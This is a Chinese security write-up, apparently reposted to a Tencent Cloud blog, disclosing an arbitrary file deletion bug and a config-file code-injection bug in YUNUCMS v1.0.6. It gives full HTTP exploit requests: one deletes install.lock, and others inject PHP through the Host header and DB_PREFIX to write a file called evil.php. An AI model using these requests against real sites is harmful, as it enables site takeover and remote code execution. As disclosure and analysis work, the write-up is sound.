关于YUNUCMSv1.0.6 任意文件删除与配置文件写shell-freebuf漏斗社区发布

任意文件删除漏洞

0×00 相关环境

源码信息:YUNUCMSv1.0.6

问题文件: \YUNUCMSv1.0.6\statics\ueditor\php\vendor\Local.class.php

漏洞类型:任意文件删除漏洞

站点地址:http://www.yunucms.com/

0×01 漏洞分析

在文件\YUNUCMSv1.0.6\statics\ueditor\php\vendor\Local.class.php的第34-57行中发现如下代码块,remove方法中使用POST接收key参数的值然后进行路径拼接再传入unlink函数中,未进行任何安全处理,存在任意文件删除漏洞。

追溯remove方法被调用的过程,在\YUNUCMSv1.0.6\statics\ueditor\php\controller.php文件中发现如下代码块,根据注释可知是实例化处理的方法的代码。

继续追溯dispatcher方法,在\YUNUCMSv1.0.6\statics\ueditor\php\vendor\Channel.class.php文件的第33-40行中发现如下代码块,使用call_user_func函数回调对应的方法。

在\YUNUCMSv1.0.6\statics\ueditor\php\controller.php文件的24-39行中,使用如下代码进行函数和方法的注册,并包含相应的class文件,具体包含了:Channel.class.php,Local.class.php,Base.class.php这3个文件,而remove方法就在Local.class.php文件中,因此可以使用这个入口调用remove方法。

0×02 漏洞复现

该漏洞可以进行任意文件删除,如下通过删除install.lock文件为例子进行说明,通过删除install.lock可以进行源码重装,此处为了方便查看引入的class文件在\YUNUCMSv1.0.6\statics\ueditor\php\controller.php文件的第30行中加入如下代码。

使用如下请求可以删除install.lock文件,从而可以进行源码重装。

POST /statics/ueditor/php/controller.php?action=remove HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: [http://127.0.0.1/statics/ueditor/dialogs/attachment/attachment.html](http://127.0.0.1/statics/ueditor/dialogs/attachment/attachment.html)

Content-Length: 22

Connection: close

key=/data/install.lock

配置文件写入导致GetShell

0×00 相关环境

源码信息: YUNUCMSv1.0.6

问题文件: \YUNUCMSv1.0.6\app\index\controller\Install.php

漏洞类型:配置文件写入导致GetShell

站点地址:http://www.yunucms.com/

0×01 漏洞分析

在\YUNUCMSv1.0.6\app\index\controller\Install.php的第126-127行中使用$_SERVER['HTTP_HOST']接收http请求中的host字段的值,然后传入到setConfigfile方法中。

在\YUNUCMSv1.0.6\app\index\controller\Install.php的第96-105行中也是存在类似的问题。

跟入setConfigfile方法,在\YUNUCMSv1.0.6\app\admin\common.php文件的第467-474行中得到如下代码块,使用了file_put_contents将传入的参数进行拆分并写入相应的文件。

因此\YUNUCMSv1.0.6\app\index\controller\Install.php的第126-127行中使用$_SERVER['HTTP_HOST']将会被写入到sys.php文件中,\YUNUCMSv1.0.6\app\index\controller\Install.php的第96-105行的数据会被写入到database.php文件中,但是传入的参数是数据库的一些配置文件,所以要修改成PHP代码有一点的限制,但是也是可行的,如在DB_PREFIX位置上写入PHP代码。

0×02 漏洞复现

情况一:通过修改host字段的值将PHP代码写入到sys.php文件中.

1.修改请求中的host字段的值为PHP代码。

POST /index.php/index/install/setup3 HTTP/1.1

Host: ',].die(fwrite(fopen("evil.php", "w"), "<?php phpinfo();?>"));$a=['a'=>'

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 87

Referer: [http://127.0.0.1/index.php/index/install/setup2](http://127.0.0.1/index.php/index/install/setup2)

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

DB_HOST=127.0.0.1&DB_PORT=3306&DB_NAME=yunucms&DB_USER=root&DB_PWD=root&DB_PREFIX=yunu_

2.提交后sys.php文件内容被修改成如下内容。

3.访问sys.php文件,便会生成evil.php文件 。

http://127.0.0.1/config/extra/sys.php

4.访问evil文件可以看到执行的PHP代码 。

http://127.0.0.1/config/extra/evil.php

情况二:通过修改DB_PREFIX参数的值将PHP代码写入到database.php文件中。

1.修改请求中的DB_PREFIX参数的值为PHP代码提交。

POST /index.php/index/install/setup3 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 159

Referer: [http://127.0.0.1/index.php/index/install/setup2](http://127.0.0.1/index.php/index/install/setup2)

Connection: close

Upgrade-Insecure-Requests: 1

DB_HOST=127.0.0.1&DB_PORT=3306&DB_NAME=yunucms&DB_USER=root&DB_PWD=root&DB_PREFIX=yunu_',].die(fwrite(fopen("evil.php", "w"), "<?php phpinfo();?>"));$a=['a'=>'

2.提交后POST请求后database.php文件中的内容被修改成如下代码。

3.提交后访问database.php文件便会生成evil.php的文件 。

http://127.0.0.1/config/database.php

4.访问evil.php可以看到执行的PHP代码。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏pangguoming

kafka 主要内容介绍

根据官网的介绍,ApacheKafka®是一个分布式流媒体平台,它主要有3种功能:

1335
来自专栏蓝天

eclipse的thrift插件

插件网址为:http://thrift4eclipse.sourceforge.net/en/install.html,经测试对Eclipse 4.4.2也有...

1323
来自专栏尾尾部落

centos搭建ftp服务器

vsftpd 是一款在Linux发行版中最受推崇的FTP服务器程序,它是一个基于GPL协议的开源程序。vsftpd代表very secure FTP daemo...

6134
来自专栏小狼的世界

在Centos 5.2下编译安装LAMP

首先使用Virtualbox安装一台CentOS 5.2的虚拟机,网络连接采用 Host-only Adapter,这样主客机之间可以互相访问,但是客机不能够上...

1042
来自专栏我的博客

TP入门第五天

1、数据库连接 这里说下为和用到配置都是返回数组,$arr=include(‘config.php’);然后你打印出来看看! 配置文件(有两种连接方法) 第一种...

3164
来自专栏蓝天

ZooKeeper-3.4.6分布式安装指南

介绍ZooKeeper-3.4.6版本的分布式安装,力求细致,提供精确的安装指导。本文的安装环境是64位的SuSE 10.1 Linux,也适用于ZooKe...

1451
来自专栏漏斗社区

除了小蜗牛,我蛙还带来了YUNUCMSv1.0.6

? 任意文件删除漏洞 0x00 相关环境 源码信息:YUNUCMSv1.0.6 问题文件: \YUNUCMSv1.0.6\statics\ueditor\p...

36110
来自专栏运维小白

Linux基础(day57)

14.4 exportfs命令 exportfs命令 常用选项 -a 全部挂载或者全部卸载 -r 重新挂载 -u 卸载某一个目录 -v 显示共享目录 以下操作在...

2517
来自专栏一个爱瞎折腾的程序猿

windows下react-native环境搭建

到android-studio下载SDK。 运行installer_r24.4.1-windows.exe安装、或zip解压出来的SDK Manager.ex...

1.2K2
来自专栏解Bug之路

Druid连接管理分析

        Druid有且只有一个线程来创建连接,为了防止不必要的线程时间片的消耗,其采用了await()/notify()的方式,当其创建了足够的多的连接...

1622

扫码关注云+社区

领取腾讯云代金券